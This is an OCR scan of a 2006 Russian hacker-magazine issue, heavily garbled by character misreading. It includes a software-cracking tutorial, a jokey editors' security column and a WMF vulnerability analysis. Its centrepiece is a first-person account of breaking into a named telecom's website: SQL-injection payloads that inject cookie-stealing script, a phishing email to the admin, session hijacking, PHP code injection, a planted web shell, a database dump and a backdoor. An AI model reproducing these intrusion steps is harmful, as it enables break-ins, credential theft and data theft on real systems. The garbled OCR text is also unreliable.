рамму в ѴѴІпНех-е и найдем там строку «ІІпгедізІегесІ Сору». Заменим ее на 
«Сгаскеб Ву», а оставшиеся буквы затрем пробелами. Дальше найдем строку «Еог 
Еѵаіиііоп» и заменим ее на свой ник (оставшееся место тоже затрем пробелами). 
Все, готово! Желающие могут еще и удалить из программы каким-нибудь 
ВезоигсеНаскег’ом пункты меню «Епіег Ведізігаііоп собе» и «Огбег Ыоѵѵ». 

ЗЛОКЛЮЧЕНИЕ 

Ну, вот мы и разобрались с программой. Надо отметить, что я применил самый прос- 
той способ взлома, называемый бит-крэкингом. Его суть заключается в замене пары 
байт. Как правило, это байты перехода. В настоящее время, в век «экстримальных» 
протекторов и ключей аппаратной защиты, казалось бы, уже не осталось программ, 
которые можно взломать таким образом. Однако практика показывает обратное. 

ВІИАВУ ѴОІЖ 5 ТС 




3 



Советую тебе почитать СПЕЦ Хакер 
за август 2005-го. а также посетить 
различные крэк-ресурсы и не забывать 
покупать журнал. 
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ХАКЕР РАЗОБЛАЧАЕТСЯ ///// ІЗЗУЕ 




Как редакторы 
Хакера следят 
за безопасностью 



Мы печатаем целую кучу статей о всякого рода багах 
и взломах. Однако ни разу не писали о самих себе. 

В самом деле, так ли уж круто редакторы «Хакера» 
следят за собственной безопасностью? Оказывается, 
что не так тут все гладко. 




Саша Лазаіский, 
■ыпускаіащий редактар 

У доктора Кпуниза и ком- 
па-то своего нет, какая уж 
тут безопасность. Взял 
у приятеля раздолбанный 
блок без корпуса под вин- 
дой ХР без второго сервис- 
пака, чтобы сделать номер. 
За безопасностью не сле- 
дит вообще. Вспоминает, 
как когда-то обновлялся 
автоматически. А теперь 
каждый может поиметь его 
комп при помощи любого 
сплоита старше 2002 года. 



Кастя •бухая, 
арт-директар 

Костян у нас любитель 
Мае ОЗ. Но это не может 
спасти его от крутых хаке- 
ров. Расскажу тебе не- 
большой секрет: за Костей 
тайно следит Г орлум, на- 
писавший крутого шпиона 
под МАС. Наивный Костя 
до сих пор улыбается, ду- 
мая, что МАС ОЗ защища- 
ет его. Но это не так. 

Ты вот тоже можешь пору- 
тать комп нашего дизайне- 
ра при помощи сплоита 
ІаипсИбех.с. 



Никалай багіит, 
редактар Кадинга 

Коля — настоящий парано- 
ик. Саша Лозовский даже 
подозревает у него шизоф- 
рению, или вроде того. Коля 
в ответ предлагает заменить 
его нового трояна, которого 
один раз запустив, потом 
уже и не отыскать в систе- 
ме. Насчет безопасности, 
Коля — мастак. Пользуется 
Ехріогег'ом, запущенным 
под отдельной виртуальной 
машиной и низкими приви- 
легиями. Апдейты ставит 
раньше их появления. 



ЗазЫкз, 

редактар іидеа 

У Сашикса с безопас- 
ностью все круто. С тех 
пор, как он поломал 
крутого провайдера и его 
комп забрали добротные 
работники украинских 
спецслужб, проблем с 
этим нет. Надо только 
пару-тройку раз в месяц 
приходить к ним в цент- 
ральный офис и подавать 
заявления, чтобы комп 
вернули. И больше — нет 
никаких проблем. 



Андріашак, 
редактар ІІпіхаМ 

Андрюшок себя чувствует 
в полной безопасности. 

С тех пор, как доктора 
окончательно интегрирова- 
ли его пропитой мозг с 
Р-133 под ОрепВЗО, ни 
один троян и руткит Анд- 
рюшку не помеха. Добавь 
сюда параноидально наст- 
роенный файрвол и патчи 
собственного изготовле- 
ния, которые Андрюшок 
вкомпиливает в ядро каж- 
дую неделю. В общем, у 
тебя нет шансов, приятель. 
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взлом 





новогодний 



ДАМП УКРТЕЛЕКОМА 

іі НА УКРАИНЕ, КАК И В БОЛЬШИНСТВЕ СТРАН БЫВШЕ- 
ГО СССР, СЛОЖИЛАСЬ НЕЗДОРОВАЯ СИТУАЦИЯ С ИН- 
ТЕРНЕТ-ТРАФИКОМ. КАЧЕСТВО СВЯЗИ ПРОСТО ОТВРА- 
ТИТЕЛЬНОЕ, А ЗА ЭТИ УСЛУГИ С НЕБОГАТЫХ УКРАИН- 
ЦЕВ ТРЕБУЮТ ДОВОЛЬНО ВЕСОМЫЕ СУММЫ ЗА ПОЛЬ- 
ЗОВАНИЕ СЕТЬЮ. К НАМ ОБРАТИЛСЯ ЧУВАК, КОТОРОГО 
СЛОЖИВШАЯСЯ СИТУАЦИЯ АБСОЛЮТНО НЕ УСТРАИВА- 
ЛА. НЕ ДОЛГО ДУМАЯ, ОН ПОЛОМАЛ СЕРВЕР КРУПНЕЙ- 
ШЕГО УКРАИНСКОГО ОПЕРАТОРА СВЯЗИ И ПОЛУЧИЛ 
ОГРОМНЫЙ ДАМП С ПОЛЕЗНОЙ ИНФОРМАЦИЕЙ М 



ПЕРВЫЕ ШАГИ 

Все, что мне нужно было от сервера ѵѵ\д/ѵѵ.икі1- 
еіесот.ца , — это не слава неизвестного хаке- 
ра, не дефейс посещаемого сайта и даже не 
возможность затроянить пару тысяч посетите- 
лей. Все, что мне было нужно, — база данных 
со всеми пассами и картами оплаты. 

Перед тем как приступить к активным действи- 
ям, я стукнул к одному знакомому, который 
торговал проксями, и попросил у него доступ 
к сервису. Нацепив носок на браузер, я наб- 
рал в адресной строке ѵ\лллл/.икг1:еІесот.иа 
и начал тестить сайт на баги. Первое, что бро- 
силось мне в глаза, — ссылка вида 
уѵѵууѵ.икгіеіесот.иа/иа/іюі пе'Д/Б/?ісІ = 673 . 
Думаю, ты понимаешь, по какой причине этот 
линк привлек мой взгляд :). Однако програм- 
мисты не были совсем уж клиническими де- 
билами, значение этой переменной нормаль- 
но обрабатывалось, и провести элементар- 
ную ЗОЫпіесІіоп атаку у меня не получилось. 
Далее мой взгляд привлек форум \отѵѵѵ.икг{- 
еіесот.иа/иа/ оНегз/Тогит . К сожалению, ад- 
министраторы Укртелекома не особенно жа- 
ловали бесплатные проекты вроде ІРВ, рбрВВ 
или ѴЬиІІеІіп, поэтому не стали устанавливать 
эти сомнительные борды, а создали что-то са- 
мописное. Интересно, что у них из этого полу- 
чилось. Сейчас заценим. 

АКТИВНОЕ ОБЩЕНИЕ НА ФОРУМЕ 

Перемещаясь по страницам форума, я искал 
ссылки специального вида. Довольно быстро я 
нащупал страницу с адресом 
\мд;ѵѵ.икі1еІесот.иа/иа/оЯегзЯогит/ІІ5!.рИо?!=7 . Че- 
рез две секунды стало ясно, что я попал прямо в 
точку: скрипт был уязвим. Поставив после семер- 
ки кавычку, я увидел знакомую уже всем ошибку: 

ѴѴагпіпд: рд_ехес(): Оиегу Таііесі: ЕВРіОР!: 
рагзег: рагзе еггог аі ог пеаг «V» аі сНагасІег 50 іп 
/изг/ІосаІ/ѵѵѵѵѵѵ/сІаТа/иа/оТТегзЛогит/ІіЬ/здІ.іп 
с оп Мпе 13 



Единственное, что сразу бросилось в глаза, 

— на сервере использовалась база данных 
РозІдгеЗОЦ а не попсовый МуЗОІ_. Но нам 
это совершенно не важно сейчас. Суть зак- 
лючается в том, что хоть баг я и нашел, но ис- 
пользовать его у меня не получилось. Вклю- 
ченная опция тадіс_дио(ез исключала подс- 
тановку кавычек, а эксперименты с ипіоп- 
объединениями ни к чему хорошему не при- 
водили (на самом деле, такая ситуация воз- 
никает довольно часто; скоро в Хакере ты 
увидишь статью о самом рациональном и 
экстремальном использовании зді-іпіесііоп. 

— Прим. Никитоса). 

После неудачи с ЗСН_-багом я решил заюзать 
обычный СѲІ-сканер на регі’е, который я за- 
пустил на забугорном шелле в Австралии. 

АНАТОМИЯ СЕРВЕРА 

Сканер после минуты раздумий выдал мне 
следующий список интересных адресов: 



■ Шр://$ІІе/гоЬоІ$.М 

■ Шр://$ІІеЛі1ассе$5 

■ Іійр://$і1е/$сгірі5/ 

■ Ийр://8і1е/(е$1/ 

■ Шр://$ііе/ітд/ 

■ №р://$іІе/Іод$/ 

Первый же файл меня очень обрадовал. 
Как ты знаешь, в файле с таким названием 
находится информация для роботов поис- 
ковых машин, то есть информация о том, 
какие каталоги индексировать можно, а ка- 
кие — нельзя. Это сделано специально для 
того, чтобы уберечь индексируемые ресур- 
сы от публикации зарытых сведений, кото- 
рые не предназначены для всего Интерне- 
та. Содержимое файла ты можешь наблю- 
дать на скрине. Могу сказать, что информа- 
ция из него здорово помогла мне. Чтобы те- 
бе было проще ориентироваться, приведу 
здесь кусок этого файла: 
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Ответственность за все твои действия лежит 
только на тебе самом. Давайте жить дружно 
и соблюдать законы наших стран, ребята. 



КУСОК ФАЙЛА КОВОТ8.ТХТ 



1!$сг-Аоспг: * 

БізаІІоѵѵ: /Ьаппег/ /сзз/ /іт§/ /тесііа/ /рзсі/ 
/«сгір»/ /есііт/ /еггогз/ 

ІІзег-АцепГ: ТеІероітРго 
ІІзсг-А§,спг: ѵѵцсг 
РІ$ег-а§епі:: \ѵеЪгір 
ІІзег-а^епі:: ѵѵеЬптіггог 
Цзег-а^епТ: \ѵсЬсору 
ВізаІІспѵ: / 

И$ег-Ац,спг: уашіех 
И$ег-А§еп1:: гатЫег 
Цкет-А^епТ: ароіт 

ОізаПспѵ: /Ьаппег/ /с$$/ /іт§/ /тесііа/ /рзсі/ 
/зсгірй/ /есііт/ / еггогз/ /сіе/ /еп/ /иа/ 




найденный зді-іпі баг не сразу 




пустил меня на сервер I переменные зегѵіеі-окружения 



После этого настал черед смотреть ассезз_Іод. Из этого файла я по- 
черпнул кучу интересной информации: смотрел, как кто-то пытался 
взломать этот сайт, и сканировал сервер Х-зрісІег’ом. В процессе за- 
нимательного чтения логов я натолкнулся на следующий адрес, кото- 
рый меня здорово заинтересовал: ѵѵ\л/\л/.икг{ѳІесот.иа/ізегѵ/асІтіп . 

На этой странице находился текст, в котором по-английски объясня- 
лось, что эта динамическая страница сформирована АрасЬеОЗегѵ 
зегѵіеі епдіпе и на ней находится информация о состоянии различных 
переменных зегѵіеі-окружения. На странице было три ссылки: 



В директориях Ьаппег, ітд и тесііа не было ничего интересного, кроме 
всяких анимашек, картинок и фоток. В папке сзз, как несложно понять, 
располагались таблицы стилей. А вот в директории /есШ была админка, 
однако туда лохов не пускали. Нужен был пароль. 

Перейдя по адресу: ѵталл/.икгІеІесот.иа/ІПассезз . я увидел содержи- 
мое .Массезз’а: 

АиФТуре Вазіс 
АиФІМате «5ІІе***» 

АиІШзегРІІе /изг/іосаі/ѵѵѵѵѵѵ/.зііеизег 
Ведиіге ѵаіісі-изег 



* ѵѵеЬтазІег.зііе (сиггепі) 

* ЬІІІІпд.зііе 

* аірѵ12://1оса11юзі:8007 

В первых двух ничего интересного я не увидел. 

Перейдя на страницу с конфигом аірѵ12 и кликнув по ссылке Зегѵіеі 
2опез гооі, я увидел следующую инфу: 

Я сразу обратил внимание на строки ІІзег=ЫІІІпд, Разз\л/огсІ=дпіІІІЬ. 
Согласись, вполне резонно подумать, что я получил пароль минимум 
к базе данных, а может, он подойдет еще куда-нибудь. Но не тут-то 
было. Сначала я приконнектился к ЗЗН, потом — к поотгресу к РТР 
и к админке, но везде был полный облом. 




Ваши сотрудники 
решают несколько 
задач одновременно. 

Разве им не нужны 

такие же ПК? 



ПрвцйМйр ІПІе-ІФ РепНІиіп 1 .* 4- г 

• ІАЙСА Ро'мегЫпе о6о< 

жцштельное повышение про-а^ 

* і| м і г-.ігі гк: і н Міноі шдддчныА 







ВЗЛОМ ///// ІЗЗЦЕ 




Почитать о синтаксисе Файла 
гоЬоіз.іхі можно здесь: 
«м'л/.гоЬоізіхі.огаАліс/погоЬоіз.ЬітІ 




Довольно забавная штѵка. По адресу: Уітт.ѵѵЬііеЬоизе.аоѵ/гоЬоіз.іхі 
можно найти файл гоЬоіз.іхі, в котором запрещается индексация це- 
лой кучи каталогов вроде /іоіоз/ігаа и т.д. 






Зегѵег Кате 
АрІЗегѵМагшаІ 

Ар ] ЗегѵРгореггіез 



$еиѵьет-оі<руже НИ я 

\ѵеЪта$Еег.$т.икгі:е1.пеі: 
БАЬЗЕ (АЕПГОМАТІС 
ОРЕКАТКЖ) 

/ шг/іосаі / егс /арасЬе / 



Ар ] $е гѵ 1 1 сЕі и I г Р го гост ) 1 
Ар]5сгѵПсЙш1гІ Р)8Г 

Ар ) 5сгѵ1)е1аи1гРоіт 



І$еіт/і$егѵ.ргорегйе$ 

а]рѵ12 (РОКТ 8007) 
ІосаИюзЕ (АІ)ІЖ 
127.0.0.1) 

8007 



ВСЕ ВОЗВРАЩАЕТСЯ 

После такой неудачи мне пришлось серьезно задуматься. Подумал, 
что раз уж я нащупал ЗОЫгуесІіоп, можно опять попробовать прока- 
чать эту дырку. Но у меня не было информации об именах таблиц, по- 
лей и, вообще, никак не получалось провести полноценную ІНхІІОМ- 
склейку левого запроса с оригинальным. Ничего толкового у меня не 
получалось, и я решил отложить продолжение атаки на неопределен- 
ное время. Через несколько дней я разговорился с _1піЗсі0г_, кото- 
рый поведал о своей статье в декабрьском номере. Там он рассказы- 
вал об атаке 8ІХ35, которую успешно провел в ситуации, очень похо- 
жей на мою. 

Вкратце напомню, о чем там шла речь. Суть атаки заключается в том, 
что при возможности организации ІНМІОМ-запроса можно вывести 
клиенту заранее подготовленную строку с ядовитым ИЗ-кодом, кото- 
рый, к примеру, уведет кукисы или зальет пользователю трояна. 
Именно этим путем я и решил пойти. 

Быстро сформировал запрос, который выводил мессагу с кукисами: 

ѵѵ\л/\л/.икг1еІесот.иа/иа/о11ег5/1огит/геасІ.рІпр?1=5&і=65+ипіоп+зеІес1 
+0,0,0,0,0,0,0,0,0,’<зсгір1>аІег(сІоситеп1.соокіе)</$сгір1> — 
и перевел символьные данные в шестнадцатеричный код. В итоге по- 
лучилось следующее: 




баг в исходним виде 




файл гоЬоіз.іхі сайта 



Укртелекома 




ЗіХЗЗ-атака в действии 



\™м.икгІеІесот.иа/иа/оЯег5/к)гит/геаФрйр?!=5&і=65+ипіоп+5еІесІ+ 
0,0,0,0,0,0,0,0,0,%27%ЗС%73%63%72%69%70%74%ЗЕ%61 %6С% 
65%72%74%28%64%6Р%63%75%60°/о65%6Е%74%2Е%63%6Р%6 
Р % 6 В % 6 9 % 6 5 % 2 9 % 3 С % 2 Р % 7 3 % 6 3 % 7 2 % 6 9 % 7 0 % 7 4 % 3 Е % 2 7 — 

Осталось сформировать такой линк, который бы передавал кукисы 
скрипту, а скрипт высылал на мыло. Сделать это просто элементар- 
но, и мы это уже многократно проделывали на страницах журнала. Я 
подготовил ріір-скрипт, который записывает всю передаваемую ему 
информацию в файл, а также заменил 33-код таким образом, чтобы 
он передавал боситепі.соокіе СЕТ-запросом моему скрипту. Оста- 
лось только поработать социальным инженером. 

СОЦИАЛЬНО ИНЖЕНЕРИМ :) 

Я зарегистрировал левый почтовый аккаунт ОІеа2003@глаіІ.ги и напи- 
сал админу МтІ-письмо примерно следующего содержания: 

йй Здравствуйте. Я обнаружил на вашем сайте ошибку, 
которая возникает при обращении к адресу: 

<аЫеЫ»\мѵіѵі .иктіеіесош .иа/иа/оПетз/Іотилп/теаб ,рбр?і=5&і=65+ипі 
оп+зеІесі+0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,%27%ЗС% 73%63% 72%69%70% . .зкіреб 
. . %69% 70%74%ЗЕ%27»>Шр://5ІІе/иа/о(іег5/(огит/геаб ,рбр?І=5</а> . 
Примите меры. Василий. 99 

После этого я заслал админу письмо и стал ждать ответа на мой зап- 
рос, однако он последовал только через несколько дней. Админ пи- 
сал, что никакой ошибки там нет и в помине и что все круто работа- 
ет. Да, он был прав. Действительно, работало все на ура, в том чис- 
ле и мой скрипт, который записал его кукисы в файл. Настала пора 
суетиться, смотреть, что там внутри, а то вдруг сессия ограничена по 
времени. Еще я опасался, что там может быть реализована привязка 
к 1Р. Однако удача была на моей стороне: к ір привязки не было, а 
сессия числилась активной, и я, подменив кукисы, сумел залогинить- 
ся под админом. 

ТНЕ Е№ 

В админке не было ничего особенного. Можно было запостить новость. 
В общем, как обычно. Функции для закачивания файла в панели не бы- 
ло, и это меня расстраивало. Впрочем, я довольно быстро нашел выход 
из этой ситуации. Дождавшись глубокой ночи, когда администратор 
спит, а на сайте почти нет посетителей, я создал новый пост со следу- 
ющим содержанием: <? раз8ібги(«іб»);?>. После того как я нажал кноп- 
ку «геіоаб», на главной странице Укртелекома увидел вывод команды 
іф который говорил, что мои привилегии — поЬобу. Выполнять команды 
скриптов іпбех.рбр было довольно папевным занятием, поэтому я быст- 
ро написал скрипт и залил в текущую директорию »еЬ-шелл от ВЗТ. 
Убедившись, что шелл нормально загрузился и работает, я потер папев- 
ный пост, и теперь админ ничего уже не мог заметить. 

Заархивировав все РНР-скрипты, я слил их себе на жесткий диск и на- 
чал изучать. Практически сразу в куче сриптов натолкнулся на нужный 
мне, в котором нашел запись примерно такого содержания: 

$сІЬ_Мо5І = «ІосаІИозІ»; 

$сІЬ_пате = «сІаІаЬазепате»; 

$сІЬ_Іодіп =»Іодіп»; 

$сІЬ_рз\л/сІ = «раззѵѵогсі»; 

В переменных хранились пароли для подключения к базе данных. Залив 
Ыеім/огк РНР-ііІе Мападег, я сделал дамп базы данных и слил его на дру- 
гой хост. Стоит ли говорить, что пароли от бд подошли к ЗЗН, и я забэк- 
дорил систему довольно быстро и надежно. 

ВІИАПѴ ѴОІЛѴ5 Т 



062 



ХАКЕР 02 /86/ 06 








игрь>. может оказаться настогьхй сильивіѵ. 
№$^вгг и ваши :>:рь. т ь г- таланты». 

' ч - Стрёнэ игр Ш1І, 2005 

сах& словами, это мало в и де т ь самому!* 

■ РС игры №7, 2005 
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ХАКЕР РАССКАЗЫВАЕТ ///// І53УЕ 







КОНФЕРЕНЦИЯ 

ХАКЕРОВ 



Недавно в Государственной Думе состоя- 
лась довольно забавная встреча под назва- 
нием «Хакеры в России». Организаторы 
встречи предложили собравшимся обсудить 
возможность использования хакерского по- 
тенциала России для решения геополитичес- 
ких задач вроде взлома террористических 
сайтов и борьбы с детской порнографией. 
Такую встречу мы не могли пропустить и от- 
правили на этот митинг двух своих предста- 
вителей — Форба и N30. Помимо наших ре- 
бят, на встрече присутствовали журналисты, 
представитель Управления «К», школьникии 
учителя, университетские преподы , а также 
один экс-хакер. 

Митинг получился на славу. Учителя то и дело 
требовали у организаторов купить компьюте- 
ры именно в их школу, обещая в ответ подго- 
товить «столько хакеров, сколько будет нуж- 
но стране». Когда же более подкованные в 
техническом плане ребята начинали говорить 
о ботнетах и ТСР/ІР, это вызывало негодова- 
ние несчастных преподов, и те вновь требова- 
ли компьютеры детям. 

Укр-Хыр даже задумал поругаться с ними, за 
что ему отключили микрофон. 

Только N30 высказался по делу: «Заставить 
хакеров работать на государство можно либо 
с помощью денег, либо при помощи силовых 
органов.» После этого собравшиеся сказали, 
что ни один из этих способов в России не сра- 
ботает, и можно было уже расходиться. 




взлом 










ВСЕ О ѴѴМР И САМОМ ОБШИРНОМ БАГЕ В ИСТОРИИ ѴѴІМООѴѴЗ 

ІІ ВОЗМОЖНО, В НОВОГОДНЕМ ПЕРЕПОЛОХЕ ТЫ И НЕ ЗАМЕТИЛ, НО НЕДАВНО БЫЛА ОБНАРУЖЕНА 
САМАЯ КРУПНАЯ ДЫРА ЗА ВСЮ ИСТОРИЮ СУЩЕСТВОВАНИЯ ѴѴІИООѴѴЗ. БАГ ПОРАЖАЕТ ВСЕ СИСТЕМЫ 
ОТ ѴѴітОѴѴЗ З.Х ДО ЬОМОНОРМ и ДАЖЕ, КТО БЫ МОГ ПОДУМАТЬ, ІІИІХ! ПО ДАННЫМ МСАГЕЕ, 
НА 6 ЯНВАРЯ 2006 ГОДА БЫЛО ЗАРАЖЕНО 6% МАШИН ПО ВСЕМУ МИРУ. И ЭТО ТОЛЬКО НАЧАЛО, 
ПРИЯТЕЛЬ! ВРЕМЯ РАЗОБРАТЬСЯ С ТЕМ, КАК ЧЕРВИ ИСПОЛЬЗУЮТ НОВЫЙ БАГ ДЛЯ РАСПРОСТРАНЕ- 
НИЯ, КАК ОНИ ВНЕДРЯЮТСЯ В СИСТЕМУ И КАК ОТ НИХ ЗАЩИЩАТЬСЯ Щ Щ 
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ТЕХТ КРИС КАСПЕРСКИ АКА МЫЩЬХ// 




ѴѴМР: 

БАГ 

Г#АА 




По данным Р-Зесиге, первый эк- 
сплойт появился 27.12.2005 на 
ѵѵѵѵѵѵ.ипіопзеек.сот . где его тут же 
прибили вместе с сайтом. Ріо джин 
был выпущен из бутылки, и копии 
эксплойта просочились в Интер- 
нет, прочно обосновавшись на 
ѵѵѵѵѵѵ.теІазрІоН.сот и тіІѵѵОггп.сот 
под именем «Іе_хр_р1ѵ_те1а1ііе». 




В тот же день Місгозой выпустила 
бюллетень ѴиІпегаЬІІІІу іп ѲгарЬісз 
Вепсіегіпд Епдіпе Соиіб АІІоѵѵ 
Веппоіе Собе Ехесиііоп, официаль- 
но подтверждающий наличие уяз- 
вимости в графической подсисте- 
ме, но вместо «микстуры» предос- 
тавила лишь обещание выпустить 
заплатку к 10 января, между тем 
очаги эпидемии все разрастались 
и эксплойты охватывали уже пять 
сайтов: 

ѵѵѵѵѵѵ.ипіопзеек.сот . 

сгаскд.ѵѵз . 

уѵѵѵѵѵ. Песо, сот . 

ІІгатеигі.Ьіг . 

ЬееІгаррѵѵ.Ыг . из которых до наших 
дней дожил только ѵѵѵѵѵѵ.ІІссо.сот . 
а всем остальным злые админист- 
раторы сделали харакири без 
анестезии. 



Спустя 24 часа (то есть 28 декаб- 
ря) парни из Р-Зесиге уже насчи- 
тали три различных модификации 
эксплойта, условно обозначенных 
ѴѴ32/РРѴ-ЕхрІоі1 А, В и С. Выдвига- 
ющуюся угрозу заметили и другие 
фирмы. В частности, МсАІее об- 
наружила два эксплойта, класси- 
фицировав их как Оои/піоабег- 
АЗЕ и (Зепегіс Ооѵѵпіоабег.д. 




Ріа следующий день, 29 декаб- 
ря, количество разновидностей 
ѵѵті-червей перевалило за пол- 
тинник, а лекарства все не су- 
ществовало. Программисты из 
Місгозой уже перекомпилирова- 
ли 00132. ОН, но еще не успели 
его протестировать. А тем вре- 
менем эксплойты цвели и разм- 
ножались. Для временного ре- 
шения проблемы (и/огкагоипб) 
Місгозоіі предложила пользова- 
телем разрегистрировать биб- 
лиотеку зІіітдѵѵѵ.сІІІ, отвечаю- 
щую за обработку изображений 
в Іпіегпеі Ехріогег, ОиІІоок Ехргезз, 
Ѳоодіе Оезкіор ЗеагсІт и некото- 
рых других приложениях, однако 
программы, напрямую взаимо- 
действующие с ѲЭІ (например, 
Ійап Ѵіеѵѵег) оставались уязвимы- 
ми, к тому же без зРітдѵѵѵ.бІІ 
изображения (даже легальные) 
просто не отображались. Прог- 
рамма ѴѴІпбоѵѵз РісШге апб Еах 
ѵіеѵѵег показывала пустой экран, в 
котором не угадывалось никакого 
оптимизма. 



31 декабря, когда эпидемия буше- 
вала в полный рост, создатель ле- 
гендарного дизассемблера ГОА Рго, 
Ильфак Гуильфанов, выпустил Ітоі- 
(іх, латающий движок графической 
подсистемы прямо в памяти, чтобы 
вместо исполнения зловредного 
саІІЬаск’а она возвращала сообще- 
ние об ошибке. В результате сайт 
Ильфака І ѵѵѵѵѵу.ЬехЫоа.сот І не- 
медленно рухнул от наплыва посе- 
тителей, подняв популярность его 
владельца во много раз. В тот же 
день был обнаружен первый червь, 
распространяющийся по М31М- 
Меззепдег'у через дыру в метафай- 
лах и рассылающий ссылку на 
хтаз-2006 РІІЫМѴ.Ірд, в действи- 
тельности являющийся никаким не 
ірд, а самым настоящим инфици- 
рованным ѵѵті, устанавливающим 
Ьаскбоог. К 1 1 :54 ѲМТ, по оценкам 
Лаборатории Касперского, червь, 
прозванный ІМ-ѴѴогт, сумел захва- 
тить 1000 машин-дронов (ѵѵѵѵѵѵ.ѵігиз- 
Ііз1.сот/еп/ѵѵеЫод?бісизз=1 7689253 
0&ге1игп=1), однако это были еще 
цветочки. 



Дальше — больше. 3 января поя- 
вился конструктор червей, а через 
день хакеры добрались и до ІВС. 
Появилась информация, что Ѳоодіе 
Оезкіор Зеагсй автоматически вы- 
полняет «начинку» метафайлов при 
индексации диска. То есть, злоу- 
мышленнику достаточно просто 
забросить ѵѵті-файл на компьютер 
жертвы, и все. 




Помимо всего обещанного, в статье, 
на нашем диске ты найдешь полную 
версию статьи Криса об этом баге. 
Дело в том, что статья ѵ него по 
обыкновению получилась просто не- 
вероятных размеров, и в журнале 
нам пришлось ее подсократить. Пол- 
ная версия статьи Коиса лежит на на- 
шем диске — забирай, впитывайся. 




1 января появился первый поли- 
морфный вирус, генерирующий 
метафайлы случайного размера с 
произвольным числом фреймов и 
высококонфигурабельным збеІІ- 
кодом, размещенный между 
фреймами и обламывающий ра- 
нее установленные фильтры. Тог- 
да же началась массовая рассыл- 
ка по мылу МЗКІ-червя со строкой 
Нарру Ыеѵѵ Ѵеаг в зиЬІ’е. 



Ситуация становилась критической, 
и вот 5 января, на пять днней рань- 
ше обещанного, Місгозой выпустила 
долгожданное официальное обнов- 
ление для І\ІТ-подобных систем: 
ѵуѵѵѵѵ.ітііего зой.сот/іесітеі/зесигі- 
Іѵ/ВиІІеІіп/тзОб-ООІ .ітізрх . однако 
ѴѴІпсІоѵѵз 9х все еще остается не за- 
латанной, не говоря уже о ѴѴІпсІоѵѵз 
3.x и ІІІМІХ-подобных системах. 
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Внимательное чтение ЗЭК (да только кто ж его читает!) показы- 
вает, что некоторые (ЗОІ-команды поддерживают функции об- 
ратного вызова (они же саІІ-Ьаск’и), принимающие в качестве 
одного из аргументов указатель на пользовательскую процеду- 
ру, делающую что-то полезное (например, обрабатывающую 
ошибки или другие внештатные ситуации). В том же самом ЗОК 
говорится, что последовательность СОІ-команд может быть сох- 
ранена в метафайле (ѴѴМР — ѴѴІпсІоѵѵз Меіа РІІе), а затем «восп- 
роизведена» на любом устройстве, например, мониторе или 
принтере. По отдельности оба этих факта хорошо известны, но 
долгое время никому не удавалась объединить их в одну карти- 
ну. Все привыкли считать ѴѴМР графическим форматом, содер- 
жащим набор данных, возможность внедрения машинного кода 
как-то упускалось из виду, и никакие защитные меры не предп- 
ринимались. Между тем, если записать в метафайл ѲОІ-коман- 
ду, ожидающую указателя на саІІЬаск-функцию, размещенную 
там же, то при «проигрывании» метафайла она получит управле- 
ние и выполнит все, что задумано! 



метафайлов были значительно расширены, и появился новый фор- 
мат — ЕМР (ЕпЬапсеб Меіаіііе), окруженный новыми функциями: 
СгеаІеЕпНМеІаРІІе/РІауЕпГіМеІаРІІе/ѲеІЕпдМеІаРІІе. Они также под- 
держивают выполнение машинного кода, поэтому, с точки зрения 
безопасности, оба формата тождественны друг другу. 

Функции, обрабатывающие метафайлы, реализованы внутри 
00132. ОН. Именно здесь и сидит уязвимость. Библиотека 
зЫппдѵѵѵ.сІІІ — это всего лишь высокоуровневая «обертка», ис- 
пользуемая некоторыми приложениями для обработки изобра- 
жений, в то время как другие напрямую работают с 001. 

К статье прилагается программа, демонстрирующая основные 
приемы работы с метафайлами, ты найдешь ее на нашем диске. 

УЯЗВИМЫЕ СИСТЕМЫ 

В своем бюллетене ( зиорогТтісгозоН.сот/кЬ/912840 ) МісгозоЙ 
официально подтверждает уязвимость следующих систем: 
ѴѴІпсІоѵѵз Зегѵег 2003 ЗР0/ЗР1 (Зіапбагсі, Оаіасепіег, Епіегргізе 
и ѴѴеЬ Ебіііоп), ХР ЗР0/ЗР1/ЗР2 (Ноте и Ргоіеззіопаі), ѴѴІпсІоѵѵз 







КАК ВСЕ НАЧИНАЛОСЬ 

Метафайлы появились еще в начале 80-х и неизвестно, кому 
первому пришла в голову мысль использовать их для распрост- 
ранения зловредного кода. Я обосновал теоретическую возмож- 
ность такой атаки еще лет пять назад, а через два года после 
этого даже привел фрагмент работоспособного эксплойта в 
«Системном администраторе» (или это был «Программист»?). Од- 
нако мой сплоит остался незамеченным, и тревогу забили лишь 
27 декабря 2005 года, когда на рабочих столах разных пользова- 
телей стала появляться всякая непотребность, а сторожевые 
программы начали ловить непонятно откуда взявшихся червей и 
ругаться матом Поимка осуществлялась по классическому прин- 
ципу: отслеживание создаваемых файлов, мониторинг реестра и 
так далее, то есть ловилась не сама ѴѴМР-начинка, а последствия 
ее непродуманной «жизнедеятельности». Грамотно спроектиро- 
ванный збеІІ-код оставался незамеченным. 

ЧТО ТАКОЕ ИМГ 

Метафайлы представляют собой последовательность команд 
ѲОІ и, с точки зрения графической подсистемы ѴѴІпсІоѵѵз, являют- 
ся таким же «устройством», как монитор или принтер, но если ин- 
формация, выводимая на монитор/принтер как бы «выпадает из 
обращения», то ѴѴМЕ-файл можно «проигрывать» многократно, 
передавать по Сети и так далее. 

Функция БТОС СгеаІеМеІаРііе(і_РСТЗТВ ІрздРІІе) создает мета- 
файл, возвращая контекст устройства, на котором можно рисо- 
вать стандартными СОІ-функциями, такими как І_іпеТо или 
Песіапде, а функция РІауМеІаЕІІе (РГОС ббс, НМЕТАРИЕ бті) 
«проигрывает» метафайл, открытый функцией ѲеІМеІаЕІІе 
(БРСТЗТВ ІрздМеІаРІІе), выводя его содержимое на заданное уст- 
ройство, например, так: 

листинг 1: вывод метафайла на экран 

НЮС ОС; НМЕТАРИЕ Іі_те1а; //объявляем переменные 
ЙС = 6еШС(0); // получаем контекст для вывода 

б_теІа = йе(МеІаЕІІе(«сІето.ѵѵтІ»)// открываем метафайл... 
РІауМеІаЕІІефС, И_те1а); // ...и «проигрываем» его 

Функции СгеаІеМеІаЕІІе/РІауМеІаРІІе/ОеІМеІаРІІе формально счита- 
ются устаревшими, однако поддерживаются всеми ѴѴІпсІоѵѵз-по- 
добными системами для совместимости. Начиная с 9х, возможности 



2000 ЗР0/ЗР1/ЗР2/ЗРЗ/ЗР4 (Ргоіеззіопаі, АбѵапсесІ и Оаіасепіег 
Зегѵег) и ѴѴІпсІоѵѵз 98/МІІІеппіит. Уязвимости подвержены практи- 
чески все платформы: х86, х64 и Ііапіит. 

Довольно внушительный список, к тому же в нем не упомянута 
